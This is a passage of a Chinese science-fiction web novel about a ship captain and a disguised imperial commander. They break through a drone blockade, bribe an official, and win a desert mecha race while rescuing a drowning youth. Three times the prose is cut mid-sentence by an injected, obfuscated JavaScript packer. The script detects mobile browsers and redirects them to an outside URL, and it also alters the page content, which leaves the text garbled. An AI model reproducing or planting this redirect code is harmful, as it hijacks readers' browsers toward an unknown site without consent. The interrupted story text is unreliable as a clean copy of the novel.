球与球之间,都间隔着经过精确计算的距离——既阻断了飞行器从中穿行,又不至于因为自爆而引发连锁爆炸。 这张无人机的大网,随着“甲壳虫”的移动,如同呼吸一般起伏、收缩,没有给这小小飞行器留下任何缝隙,彻底断绝了它的前路。 甲壳虫停滞了。 它不再前行,而是悬停在寂静无声的太空中。 它甚至开始缓缓后退,后退。 无人机网也悬在空中,按兵不动,并没有要穷追猛打的意思。 倏然间,甲壳虫的推动器喷出蓝光,船体以快得不可思议的速度,直直向上! 这势头,显然是想急速攀升,再绕开无人机的拦截! 无人机当然不会让它得逞,瞬间蜂拥而上,试图将甲壳虫团团围住。 下一秒,这小小飞船便以一个刁钻的角度迅速往后一退,再全力往下,像是又要改为从无人机网的下方突围。 无人机群即刻又追着它往下,没有一毫秒的迟疑。 甲壳虫仿佛被逼入死角,再次狼狈逃窜,甚至开始上下翻滚,左右闪挪。 可这些无人机哪里是能被甩开的? 甲壳虫无论怎么腾挪,无人机都死死咬住后方、挡住前方,甚至还有逐渐收拢之势,好似即将收网、将猎物活活困死的蜘蛛群。 此时,无论是谁看了这幅景象,都只会摇头叹息:这小小飞虫,不过是困兽犹斗罢了。 驾驶舱内。 戚应物面前的主显屏上,那些代表无人机的密集红色小点开始层层逼近。中控AI再次报警: 【撞击防护罩已开启,预计防护成功率不足3%】 【躲避成功率不足1%】 戚应物的额头布满细细密密的汗,对报警声置若罔闻。 他的手指在驾驶面板上飞速跳动,快得几乎带出残影。 几秒过去,主线屏上绿光闪动—— 那层叠无数的红色小点当中,竟多出了一副淡绿色的“立体网格”! “成了。” 戚应物低低一声,同时手指继续翻动。 下一秒,那一个个整齐动作的黑色无人机,突然醉酒一般,没头苍蝇似地互相乱撞! 这毫无章法的碰撞当中,倏地露出一道罅隙,犹如密集的渔网终于被撕开一道小口! 甲壳虫自然不会放过这个机会! 电光石火间,小小飞船已掠过无数黑球,成功突破了无人机群的拦截! 但戚应物没有时间庆贺。 方才那副“网格”,是由脉冲球构成的网格。 他刚才驾着甲壳虫四下乱窜,看似毫无章法,实则布下了数颗小小脉冲球,再操纵着它们交错纵横,悄无声息地嵌入了无人机群中。 之后,找准角度,统一启动脉冲球,足以让这些无人机短暂“失智”,无法维持阵型。 但这样的时间最多不过一分钟。 这一分钟内,如果甲壳虫无法远离机群……如果机群再度追了上来…… “打过台球吗?” 就在戚应物每一根神经都绷紧之时,耳旁突然响起顾礼然的声音。 不紧不慢,不慌不忙。 就像方才不是什么生死攸关的逃亡,只是一场平平无奇的电子竞技。 戚应物吃惊地侧头望向坐在了副驾位的顾礼然——这人最后没有再坚持要出动机甲,但条件是“全程坐在副驾位,随时接管驾驶”。 从一开始的“撒网”,到刚才的“收网”,这人一直都很安静,现在怎么突然提了个这么跳脱的问题? 只见顾礼然神色淡定地探出手,修长手指按住戚应物面前的主显屏,一划一拉,将那些乱飞的红色小点放大。 接着,他指尖一按,给其中一个红色小点做下标记:“白球。” 白……球?! 对了,就像台球里用白球来撞击其他球一样! 戚应物眼睛骤然一亮! 他调出武器模组,将仅能释放三次的微型磁轨炮锁定顾礼然圈出来的红色小点—— 发射! 半秒后,无人机炸出小小烟花。 和它紧紧挨着、早已越过安全距离的另一架无人机,同步炸开。 紧接着,已不能保持阵型的无人机,一个接一个的,被引燃,被点爆,在空中被轰成灿烂一片。 数秒过去,方才还如恶灵般充满逼迫感的黑色机群,已变成太空垃圾,在深空里无谓地漂浮着。 剩下零星几只无人机,也再也起不到什么拦截阻止的效用。 戚应物将飞船调回匀速模式,看着前方飘过的碎片,抬手抹了一把额上的汗。 平安了。 不但突破了阻拦,还仅仅以一发磁轨炮,轰平了所有无人机。 这…… 他再次侧头望向副驾上的顾礼然。 恰在这时,依然坐在后排的艾科感叹一声:“好厉害啊!你们配合得好好啊!” “居然用这么简易的武器摆脱了这个型号的无人机群!” 听到这里,戚应物轻咳一声,松开安全锁扣,向旁边转过身体。 他收起往常那副横眉冷对的面孔,尽量用最客气的语调,对顾礼然规规矩矩地说了一声: “你刚才最后那一下,找准一个能连环引爆所有无人机的‘白球’,很……有用。” “嗯,感谢你的……指点。” 顾礼然坐在副驾位,身体微微往后方靠去——直至整个背部都贴住了座椅。 他避开戚应物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396568|184301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的视线,手指已不可控地蜷缩起来。 片刻后,他蓦地起身,拧着眉头丢下一句“即使不用精神力,你上次还是逃不掉”,便迈开长腿,径直离开了驾驶舱。 戚应物呆滞地坐在原地,好半天才反应过来: 什么?! 我这么诚心实意地赞美他,感谢他,他就给我回了个这个?! 我都暂时抛却以往的过节了,他怎么反而出口相讥?! 这人怎么这么恶劣啊! * 戚应物左手端着快乐水,右手在主显屏上划拉着,由AI配合着检查飞船的各项设备有无破损。 如果全都确认无误,稍后甲壳虫号就能冲入大气层准备降落了。 此时驾驶舱里就他一人。 艾科说要去查看货舱里的行李,监控系统也显示货舱里有人在活动。 至于顾礼然…… 戚应物也不知道他在哪儿。 他也懒得知道。 正如此想着,监控系统传来的数据显示:休息舱已从内部锁闭。 咦?顾礼然回休息舱了? 戚应物再一细看:等等,锁闭的不是顾礼然的休息舱,是自己的休息舱! 艾科此时在货舱,那在休息舱的肯定是顾礼然—— 可他去我的休息舱做什么? 戚应物身体快于大脑地站起身,大步走出驾驶舱,走到休息舱门口,用手掌贴住识别器。 虽然舱室已从内部锁住,但他的船长权限足以打开任何一道锁。 嘶…… 舱门安静地滑开。 戚应物气势汹汹地迈步进去—— 顾礼然果然在里面! 在我的床上! 戚应物刚想发动“嘲讽”技能,质问对方堂堂指挥官怎么还会走错舱室,张嘴的一瞬间又闭上了嘴巴。 只见方才还冷面相对的人,眼下坐在床头,长腿交叠,怀里抱着一个枕头。 他甚至垂着头,半边脸埋在了枕头里。 素日都纹丝不苟打理好的头发,如今垂落几缕,挡在他的额前。 而他的手,刚刚还姿态镇定地标出“白球”的手,现在紧紧攥着枕头,指尖没入布料的纹路中,显得原本就轮廓分明的指节愈发突出,略显苍白的手背也浮着几道青色的筋脉。 顾礼然这是……病了? 戚应物上前一步,想要伸手去探探他的体温—— 不料顾礼然身体往后一退,脑袋一抬,双眼睁开:“嗯?” 是错觉吗? 往日总是带着威圧感的声音,此时竟毫无威慑。 更奇特的,是顾礼然的眼睛。 那如墨如渊的漆黑眼睛,现下……带着一点点奇异的紫,在不甚明亮的灯光映照下,泛着一层含着雾气的光。 11. 小黑VS小白 戚应物的喉结滑动一下,收回手,问道:“你怎么在这里?病了?晕船了?” 顾礼然将怀里的枕头重新拍得蓬松滚胖,放到一边,不疾不徐:“我的脸色是不是很差?” 他的声线又恢复了平日的沉稳,眼里的那点紫色也已消失不见。 戚应物:“对。你要是病了就用医疗笔测一下——” 顾礼然:“这是‘微型投影仪’新做的‘晕船版面具’。” 戚应物:“……啊?” 顾礼然:“你认为,刚才那些无人机,是什么人布下的?” 虽然不知道顾礼然怎么突然把话题转移到这里了,戚应物还是如实道:“不好说,但不像是星盗。” 星盗不会在离行星这么近的地方行动。 更何况,刚才那些无人机,一开始只是在“威胁”,并不是想直接逼停甲壳虫号。 没有星盗会这么设置埋伏。 顾礼然:“不是星盗。” “而是其他‘不欢迎我们到来’的人。” “我们一着陆,就会有人暗中盯着我们,研究我们的一言一行,揣测我们的来头。” 戚应物思索片刻,明白过来:“我们刚刚那个飞行状态,除了我这种经常飞的,还有你们军部的,一般人——哪怕是Alpha——都会受不了。” “你要是没事人一样下了飞船,说不定就会让人联想到军部了。” 顾礼然微微颔首:“不错。” 戚应物盯着顾礼然那依然浮着些许红晕的脸:“……噢,所以你要让投影仪给你‘微调’,方便你装病。” 总之,反正就是,你没病。 既然顾礼然没病,戚应物的声音又变得硬梆梆的:“可你怎么呆在我的休息舱?” 顾礼然理所当然地望着他:“小八在我的休息舱做清洁,我只能用你们的舱室了。” 戚应物:“……哦。” 顾礼然皱皱眉头:“倒是你,戚船长,明知道舱门反锁,还招呼都不打地直接开门?” “这也是你们‘甲壳虫号’的传统?” 被顾礼然这么呛了一句,戚应物顿觉心虚。 但他还是坚持道:“我只是……咳,担心船员有什么意外。” 顾礼然冷哼一声,不慌不忙地站起身,拧着眉头,和一脸理亏的戚应物擦身而过。 他走到自己的舱室门口,小八正好从里面飘了出来。 小机器人高举双臂:【呱啦啦!清洁做好啦,请安心休息吧!】 顾礼然拍拍机器人的白色脑袋:“谢谢。” 方才,戚应物虽然确实驾驶得不错,但他太过投入,血脉贲张肌肉紧绷,连带着散发的信息素都浓了许多。 那一瞬间,要是自己再找不到什么别的替代物品,只怕要像最疏于自律的人渣Alpha那样,先一拳揍过去把人放倒,再…… 再肆意满足Omega的欲..望。 不得已,只能草草弄乱自己的舱室,再冲去戚应物的休息舱。 顾礼然揉揉眉头,只觉得心头堵得慌。 太荒唐了。 * 两日后。 诺丁谷星,重建委员会办公室。 “哎,您说的这个事情啊,这个参与重建啊,这是个大好事啊。” “我们当然欢迎有实力、有担当的实业家参与其中啊。” “但这个‘重建许可证’吧,它真的不归我们管……” 贾议德,这位委员会的委员长,笑容可掬地和“远道而来的神秘Alpha”打着哈哈。 他们前天就收到了消息:有位Alpha,雇了一艘微型飞船,居然突破无人机群,从苏曼港飞到了诺丁谷。 要知道,这个无人机群,就是为了防止那些不请自来、想要分一杯羹的外人的。 究竟是什么人,竟然能靠着那么一艘小破船强行闯关? 他们查了各种资料,又打起十二分精神地偷偷观察了两天,得出的结论是: 这神秘的Alpha,来自于一个偏远区域、靠着倒卖矿石起家的暴发户家族。这小子跑到诺丁谷来,要么是想借机捞一把,要么就是积累些在父辈面前夸耀的经验。 对方长得跟小白脸一样,下飞船的时候还有些摇晃,一看就是没多少深空航行经验的;一身名贵衣裳,又拿着一根“唯恐别人不知道自己有钱”的镶金手杖,出手还极为阔绰,地地道道是一个暴发户家的傻儿子。 这种除了钱什么都没有的人,随意打发打发也就罢了,犯不着为了他得罪现有的权贵。 现下,贾议德就命人给三位客人各奉上一杯原产自大岭星的昂贵红茶,满脸笑容地表达了这个“有心无力”的状况——不是我们委员会拦着你啊,实在是重建许可证都已经发放完了,这个许可证不是我们想批就能批的,我们爱莫能助啊。 顾礼然坐在办公室另一头的皮沙发上,长腿随性地搭着,对眼前的红茶看也没看,只冲助理稍稍抬了抬下巴。 艾科心领神会,将一个不起眼的木盒子放到贾议德的办公桌上:“我们老板喝不惯常见的茶,这次带了些自己庄园里的特产,也给您备了一份。” 贾议德随意掀开盖子,瞳孔骤然放大—— 片刻后,贾议德合上盖子,笑得眼角纹路越发的深: “原来顾老板这么有诚意。” “可惜,这个‘重建许可证’吧,我们确实没有了。” “但我之前听到些闲话,说像风语星,鸣沙岭星,上水星……这样的地方,或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396569|184301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许有人提前截留了一两张。没准顾老板可以去那里碰碰运气。” * 从委员会出来后,顾礼然不紧不慢地散着步,手杖有节奏地敲击着不甚干净的路面。 道路两旁,除去大堆瓦砾之外,还有些摇摇欲坠的危房。 路上没有多少行人,更没有什么悬浮车。 倒是有一两辆古旧的电动车,载着寥寥几名两眼无神的中年人,不知道要去哪里。 而这两条街道已经是诺丁谷最完整、最宜居的区域。 真正在地震中受灾严重的部分,由雇佣军以“维持治安”的名义把守着,屏蔽了无人机的信号,禁止没有许可证的人士靠近。 要想知道最真实的状况,要想知道那些“重建者”究竟在做什么,必须先拿到许可证。 走出一截路后,顾礼然停下脚步,状似随意地问戚应物:“戚船长,想去捞捞许可证的话,去哪个星球合适?” 戚应物早就在等着这个问题了。 他一脸镇定地答道:“上水星太远,风语星太乱,鸣沙岭星比较合适。” 说完,他又补了一句:“我还认识他们当地帮派的老大,说不定能帮上忙。” 事实上,除了嘴上说的原因,他推荐去这个地方还有自己的目的。 而且是绝对不能让顾礼然发现的目的。 顾礼然瞥了戚应物一眼,道:“可以。明天出发。” 戚应物松了一口气,暗道还好这次顾礼然没看出什么来。 恰在这时,他又听见顾礼然发问:“戚船长怎么心事重重?莫非鸣沙岭星还有什么特殊的?” 戚应物心中一惊,慌不择言道:“哦,我就是有点好奇,你究竟给贾议德送了什么东西,让他高兴成那样。” 顾礼然淡淡道:“高纯度晶石,一颗就能驱动中型机甲那种。” 戚应物不禁咂舌:“这么大手笔!” “这种级别的小官员,不是随便‘进贡’一点就够了么?” 顾礼然:“对方现在认为我是‘人傻钱多’的小白脸,当然要按照这个思路稳固人设了。” 听到“小白脸”这三个字,戚应物不禁多看了顾礼然的脸庞几眼: 唔,不得不说,在投影仪的调整之下,顾礼然十分当得起“小白脸”这个称呼。 只是一想到叱咤风云附带心狠手辣的顾将军,如今担了这么个名头,戚应物就忍不住想发笑。 注意到戚应物憋着笑的表情,顾礼然放缓语调慢条斯理道: “走吧,回旅馆了。” “人傻且没钱的小黑脸。” 戚应物怔了几秒,这才反应过来:啊!怎么拐了个弯儿又开始嘲讽我了!太恶劣了! 还有,我的脸也不黑啊! 12. 我们什么关系 烈日如火。 黄沙无边无际,蒸腾的热气足以扭曲视线。 穿着沙漠靴与迷彩裤的戚应物,脸上包着头巾,站在茫茫沙漠里,对着渺无人烟的天际,吹响了一枚小鱼形状的特制口哨。 哨声被风席卷而去,送往了不知道什么地方。 戚应物回过头,望着身后同样包着头巾、穿着沙漠防护装的“小白脸”顾礼然还有艾科:“裘壹收到我的口哨后,肯定会出现的。” 一行人在昨天来到了这个星球—— 鸣沙岭星,比诺丁谷星更为偏远,也更不发达。 在帝国的星图上,这颗角落里的星球,被标记为“五等星”。 若是将星图比例放大,或者在行星同步轨道上近距离观察这颗星球,会发现它的颜色极为单调——黄色,蓝色,偶尔有那么一线绿色。 因为这颗星球上,一大半的土地都已劣化为沙漠。而绕着沙漠的,就是无边无际的海洋。 唯有在沙漠腹地,沿着那曲折蜿蜒的淡水河,才有一小片绿洲。而那些狂风吹不走、黄沙埋不尽的人类聚落,就藏在这一座座绿洲中。 风声呜呜作响。 顾礼然调整了下护目镜,望着天际线处,对戚应物道:“你朋友的接待规格很高。” 闻言,戚应物和艾科都顺着顾礼然所指的方向望过去—— 只见纯净的蓝色天幕下,闪出几只“黑色巨兽”。日光打在巨兽的背脊上,反光炫目刺眼。 巨兽以匍匐的姿态,四爪并用地着朝戚应物这边奔行,激起层层砂石,犹如疾行的舰艇划破海面、卷起浪花无数。 从未见过此等景象的艾科,思索片刻才惊奇道:“……‘沙漠奔行者’?那种四百年前的旧式机甲?” 戚应物大笑道:“啊,对!就是那个系列的机甲!” “当年的帝国军,把这套坏掉的机甲当做破铜烂跌丢在了这里,被我们捡回来用了!” 顾礼然看向戚应物:“你修的?” 戚应物一脸自豪:“对!” 很快,这几只三层楼高的钢铁巨兽,在沙地上留下深深凹印之后,伴着震耳的轰鸣声与咆哮声,带着滚滚热浪停在一行人面前。 巨兽顶部的舱口弹开,几个裹着长袍的身影踩着金属外壳上的凸起利落跳下,掀下面罩,大笑着奔向戚应物。 为首的那名Alpha,便是“飞鱼帮”的头领,也就是戚应物此次要找的裘壹。 裘壹和戚应物来了个结结实实的拥抱,热情地问起了他的来意。 听戚应物说,他是在帮人寻找“诺丁谷星的重建许可证”后,裘壹转而看向顾礼然:“嘿,城里人!你是小戚新交的朋友吗?” 戚应物刚要张嘴,顾礼然已不慌不忙道:“我是戚船长的雇主,他为我带路,我付他报酬。” 戚应物的眉头跳了两下。 裘壹不以为然地耸耸肩,又从头到脚地打量着顾礼然,发问道:“刚才我的穿行者就停在你面前,你居然躲都没躲一下?” 顾礼然:“没这个必要。” 裘壹“哟呵”一声:“城里人,胆子不小啊。精神力挺高吧。” 顾礼然:“还算过得去。” 裘壹咧嘴一笑:“城里人,你要的‘许可证’,我可以帮你搞来。” “若你是小戚的朋友呢,我只给你提一个条件:50000个信用点,不要转账,换成晶石给我。” “既然你不是小戚的朋友,我就得加一个条件了:你得和我比一场。” “我们飞鱼帮,可不是随随便便给什么人都能帮忙的。” 顾礼然:“比什么?” 裘壹一拍手:“爽快!” “就比我们鸣沙岭星的传统技艺:海陆两栖赛。” “很简单,就是驾驶着我们提供的机甲,看谁先到达终点。” “当然……”裘壹看着眼前只露出个下巴、肤色苍白的年轻Alpha:“我得提示你,我们的机甲,都是没法用精神力链接的。” “这些古旧款的,你怕是见都没见过,让小戚帮你选一款好了——别说我们欺负你们城里人。” * 沙漠区,地下机甲仓库。 数百年前,鸣沙岭还是帝国军与异种的战场时,这处仓库是一座巨型的避难工事。 随着异种被驱离,这座工事也被荒废了,里面散落着帝国军抛弃于此的废旧机甲。 四年前,裘壹找到戚应物,将这些机甲修的修拆的拆,凑出了不少架能用的机甲。如今,这间工事已彻底变为裘壹他们存放机甲的仓库。 现下,戚应物手里握着照明棒,带着顾礼然在钢铁森林般的机甲群里转了一圈后,终于忍不住出声道:“你干嘛不顺口承认,你是我朋友呢?” 他顿了一秒,又赶紧补了一句:“你要是承认了,通行证不就手到擒来了?” 顾礼然不解地看了戚应物一眼:“我以为按照你的一根筋程度,是绝不愿意配合我说谎的。” 戚应物内心一阵烦躁:“现在不是在‘伪装’吗?” “你堂堂皇家指挥官,乔装改扮地来到边境区,天天戴着面具,还跑去行贿官员,不就是为了拿到通行证,去看看诺丁谷那帮人在做什么吗。” “现在好不容易有门路,要是你输给了裘壹——别看他对我笑嘻嘻的,其实这人特别犟——他是不会帮你去搞通行证的!” 顾礼然:“嗯?你认为我会输?” 戚应物:“这可是旧式机甲啊!你精神力再强,在这种靠手速靠眼力靠反应力的操作系统上,也没有用武之地啊!” 顾礼然:“喔。” 戚应物:“……?!” 喔?! 就这一个字?! 这人是故意来气人的吗?! 顾礼然见戚应物脸色都变了,又慢吞吞道:“既然如此,那就有劳戚船长,帮我选一架最合适的机甲。” 戚应物憋着气,指着前方一架银灰色、十米来高的机甲道:“如果你的触控操作能力和我差得不太多,就用这一架。” 他又指了指右前方的一架:“要是你根本不熟悉触控操作,那我推荐你用这台,这算是两百年前的时髦产品了,你上手能快一点。” 顾礼然摇摇头。 戚应物没好气道:“要是还想要更贴近你驾驶习惯的,这里真没有——或许我临时给你改造一下……” 顾礼然打断他道:“触控操作比你还好的,应该用什么?” 戚应物:“都说了没有比这……嗯?你说什么?” 顾礼然摊摊手:“我说,请戚船长以‘我的触控操作能力比你还强’为前提,为我推荐一台。” 一时间,戚应物的面色忽白忽红,颇为精彩。 这人,不是在说大话吧? 不,不会。 虽说顾礼然一身的毛病,但至少不是一个会说大话的自负之徒。 可他一个精神力双S级的,真的会去特意训练触控操作这种早已过时的技术? 戚应物咬咬牙,还是信了顾礼然的话,带着顾礼然绕到仓库的另一角:“这一台人形机甲,‘风之幻想’,据说是精神力链接系统投入运用前,将触控系统做到极致、也复杂到极致的机甲。” “即使是我……第一次上手也不能轻松地操控。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396570|184301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 顾礼然点点头:“就它了。” * 半日后,“海陆两栖赛”出发点。 原本寥无人烟的荒漠,跟突然下了场雨一样,呼啦啦冒出许多人头。 众多附近聚落的居民收到了消息,兴致勃勃地围在巨型投影屏两侧,想要看看裘老大和“城里人”“小白脸”“神秘Alpha”一决高下。 他们甚至自发地用废弃的汽车堆出观景高台,在高台上面古早的扩音设备放着震天响的热歌;高台之下,开盘下注的,摇旗呐喊的,在人群里穿来挤去卖气泡酒爆米花的,熙熙攘攘好不热闹。 至于飞鱼帮的帮众,大多都不满足于通过屏幕来看比赛。他们纷纷跳上了改装后的沙漠艇,打算一路追着老大往前冲,欣赏老大把那个小白脸远远甩在后面的英姿。 戚应物和艾科也在这群人里面。 戚应物戴着头盔,跨骑着一辆重型沙漠艇,戴着手套的手虚虚握着前方的方向舵。他时不时抬下头,望向远处的两架机甲: 红黑相间的“赤链”,裘壹的专属机甲。这种原本就设定为沙漠和近海两用的仿生机甲,又被自己专门调试过,能完全克服地形的不利影响,还能反过来利用沙子的摩擦力形成助推。 而顾礼然选中的“风之幻想”……明显占不到任何地形优势。 想着两台机甲的性能差异,戚应物再次一阵烦躁。 为什么顾礼然宁愿节外生枝、承担比赛失败的风险,也不肯假意认下和自己是朋友? 正思索着如果顾礼然败下阵来,自己要怎么去说服裘壹出手帮忙,比赛正式开始了。 同预料的一样,赤链宛如巨型沙漠蛇一般,灵活至极地往前窜动,身形灵动得完全不像这个吨位的机甲。 刹那之间,赤链便已游出数百米,将顾礼然的风之幻想远远抛在后面。 而风之幻想在干嘛? 戚应物抬头一望—— 这人形机甲,在下蹲、起立;起立、下蹲…… 戚应物一阵心梗:哪有比赛开始了还在这里热身的?!而且机甲哪里需要这样热身?! 一时间,飞鱼帮的众人大笑着,欢呼着,追着赤链在黄沙上飞奔,显然认定了这场比赛的赢家是谁。就连场外的观众,也开始对着风之幻想大喝倒彩。 戚应物长叹一声,开始琢磨自己得给裘壹免费修多少架机甲才能说动对方。 恰在这时。 风之幻想深深蹲了下去,紧抱双臂缩为球状。 紧接着,从它的手臂位置,骤然喷出几道推进器的蓝光! 下一秒,人形机甲如同旧式炮弹一般,对着天空弹射而起! 戚应物倏然睁大眼睛:还能这样操作?! 嘻嘻哈哈的观众,以及盘旋在四周的飞鱼帮,望着空中的那枚“炮弹”,一个接一个地张大了嘴——倒真有几分像离开水面的鱼。 “炮弹”在蓝空中画出一道漂亮的弧线后,极速伸展四肢恢复人形,同时从后背弹出两面“盾牌”。 戚应物知道这种盾——采用高强度纳米丝编织而成的盾,轻薄无比,又坚不可摧。 现下,人形机甲将盾牌全部展开,生生将盾牌变为了两扇“滑翔翼”。 凭借着两扇翅翼,这蓝色机甲如翱翔飞鸟,如入海游鱼,在天空中无拘无束地展翅前行。 不但如此,它甚至在空中来了个三百六十度的滚转——不为别的,纯为炫技。 戚应物转仰头望着空中的蓝色机甲,只觉一阵阵目眩神迷。 他和旁边的小迷弟艾科一样,脑子里此刻只有一个念头: “顾礼然,这也太帅了。” 13. 我总得让着你一点 戚应物紧握着方向舵,上半身下伏前倾,脊背绷出一条利落的曲线。 他脚侧贴住踏杆,膝盖前顶,大腿用力收紧,下盘稳固得仿佛已与重型沙漠艇合为一体。 不过毫秒之间,沙漠艇如箭矢般射出,追着前方的机甲呼啸而去。 但风之幻想的速度实在太快了。 戚应物不得不依靠远视仪,才能看清这架机甲在空中的动作。 它还在滑翔。 按这个趋势,它甚至根本不需要入水,就能轻松越过前方海湾、抵达比赛终点。 而一开始占据优势的赤链,依然在沙地里吭哧吭哧向前滑动。 倘若没有风之幻想和它做对比,那毫无疑问,赤链的速度令人乍舌。 可一旦和这空中展翅的机甲相比较,那赤链就显出了几分笨拙,几分吃力。 一刻钟后,赤链堪堪滑入海水,风之幻想已越过了一半的海面。 即使赤链在水中的速度比得上鱼雷,也很难弥补这么大的差距了。 比赛的结果已没有什么悬念。 戚应物盯着远视仪屏幕上的风之幻想,暗地吁出一口气。 恰在这时。 翱翔的机甲猛然定住了。 一秒,两秒。 戚应物心头一跳:这是什么情况?机械故障? 两秒之后,风之幻想收起翅翼,如失速坠落般,直直坠入海中,激起连天白浪。 公共频道里的声音顿时乱成一团。 戚应物和艾科的通讯频道里,也传来了艾科的惊呼声:“顾先生!” 戚应物没有答话。在大脑做出判断之前,他的身体已自动做出反应,全力加速朝着海岸冲去。 究竟发生什么了? 顾礼然刚才的动作,不像是意外,倒像是故意落水? 片刻后,海面再次浪花连连,有什么东西破浪而出—— 用远视仪可以看到,那竟是一个透明的、直径两米的救援用凝胶球! 凝胶球内部,赫然是一个裹着长袍的身影。 下一秒,风之幻想冲出水面,机械部件就地展开,变为飘浮的海上平台。 顾礼然从驾驶舱里跳出,打开凝胶球,将里面的人托出来平放着,开始最原始的心肺复苏。 顾礼然……真的是去救人了? 戚应物的心脏竟是跳得比方才风之幻想落水时要快。 待戚应物的沙漠艇一路乘风破浪、总算停靠在临时平台边时,赤链也在一旁随波起伏。 平台之上,裘壹正大着嗓门黑着脸,数落那个被顾礼然救出来的人。 戚应物认出来了:顾礼然从海里捞出来的人,是裘壹的弟弟裘千,一个刚成年的瘦弱Beta。 听上去,裘千带着高清摄像仪,驾着沙漠艇,早早就在海对岸等着,一心想拍到哥哥获胜的精彩画面。 然而,看到风之幻想飞起来之后,裘千实在忍不住,转为对着这架机甲拍个不停。 拍着拍着,几个大浪袭来,他本就下盘不稳,连人带艇地摔进了海里。他数次努力挣扎想要浮出水面,都被海浪压了回去,再被海水压得死死往下沉。 就在裘千昏昏沉沉意识模糊之际,一个凝胶球裹住了他,带着他迅速上浮…… 裘壹把自家弟弟狠狠数落一遍后,走到一旁坐着喝水的顾礼然旁边,一屁股坐下来:“兄弟,多亏了你!” “我的主显屏上根本没有捕捉到他落水,我也不知道这小子在对岸等我。要不是你发现了,只怕……” 裘壹心有余悸地摇着头。 顾礼然道:“恰好看见而已。” “这次我们都中途退赛,得再比一次了。” 裘壹大笑一声,重重拍着顾礼然的肩膀,声音又恢复了之前的底气: “这还比什么啊!” “从现在开始,你就是我朋友,我兄弟!” “你这驾驶技术,你这人品,和小戚一样,合我心意得很!” “你要的通行证,我一定给你弄过来,今晚就给你!” 这人站起身,先一把拎起恹恹的自家弟弟,又看向戚应物:“晚上你带着他,‘航海者之家’见!” 说罢,裘壹跳入赤链的驾驶舱,往回快速游走了。 裘壹离开后,那些被戚应物甩在后面的沙漠艇、悬浮车都还没有赶到,平台上一时只剩下顾礼然和戚应物两人。 戚应物走到顾礼然旁边,看着这人发梢上的水珠,丢过一条毛巾:“先擦擦。” 顾礼然拿毛巾按着湿漉漉的头发,随口道:“你从哪儿变出来的毛巾?” 戚应物没有回答,又递过去一剂营养补液:“喝点儿这个。” 顾礼然一手按着毛巾,一手接过补液:“戚船长,你是随身带了个百宝箱吗?” 戚应物硬转了个话题:“你的触控操作,确实还不错。” 顾礼然咬着补液的吸嘴,眼里闪过点儿戏谑的光:“我之前不就说了,‘比你的好一点’?” 戚应物这次没被顾礼然激得生气,反倒心平气和地坐到顾礼然旁边,点点头:“嗯。” 听戚应物如此回答,顾礼然似有些吃惊地扭头看一眼:“今天脾气这么好?” 戚应物嘴角沉了下,还是继续道:“你今天都救人了,我总得让着你一点,不能当面拆穿你。” 顾礼然双手握着已经扁下去的补液包装袋,眼睛弯了弯。 戚应物又道:“不管怎么说,你能用这种方式操作‘风之幻想’,的确是我没想到的。” “将机体整个弹出,再活用护盾开始滑翔——确实是超出我认知的操作。” 见对方说得认真,顾礼然也收起方才调侃似的态度,直言道: “只是经验比你丰富一些而已。” “如果你愿意花时间去系统学习机甲的演变史,了解到这种机甲的建造背景,你也能想到这一点。” 戚应物点点头:“原来如此。” 等这趟任务结束,一定得把《机甲编年》这个游戏好好利用起来。 说完之后,他没再提问,也没有像之前那样起身离开,而是就这么坐在离顾礼然两拳之隔的地方,屈着腿,眼神有些发虚地对着前方的海。 海风吹拂,平台随浪晃动,细碎的泡沫带着海水的咸气溅到两人的驾驶服上。 再远处,有飞鱼破出水面,在空中画出一道银色的弧线。 戚应物突然意识到,自打这次“重逢”以来,自己一次都没有和顾礼然这么安静无声、相安无事地坐在一起过。 自然,自己也从来没有问过他,为什么会在沃尔夫的家乡做出那种事。 那个一次次给不认识的Beta做心肺复苏的顾礼然,真的会仅仅为了抢夺晶石,不惜烧掉整个聚落吗?这背后,或许有什么隐情? ……可是,同样是这个顾礼然,为了阻止“疯王”,毫不留情地用剑刺向了自己啊! 这个人为了达到目的能做出什么事,自己不是最清楚吗?难道现在还对他抱有什么幻想吗? 戚应物的脑海里,冒出一个微弱而执拗的声音。 他闭闭眼,只觉脑子连同心绪都混乱如麻。 正烦乱着,顾礼然已站起身:“我要重新启动风之幻想。” “戚船长,你该离开了。” * 入夜。 “航海者之家”酒吧。 戚应物刚带着顾礼然现身,裘壹就热情无比地迎过来,先将通行证交给了顾礼然。就在裘壹张口准备说出“ 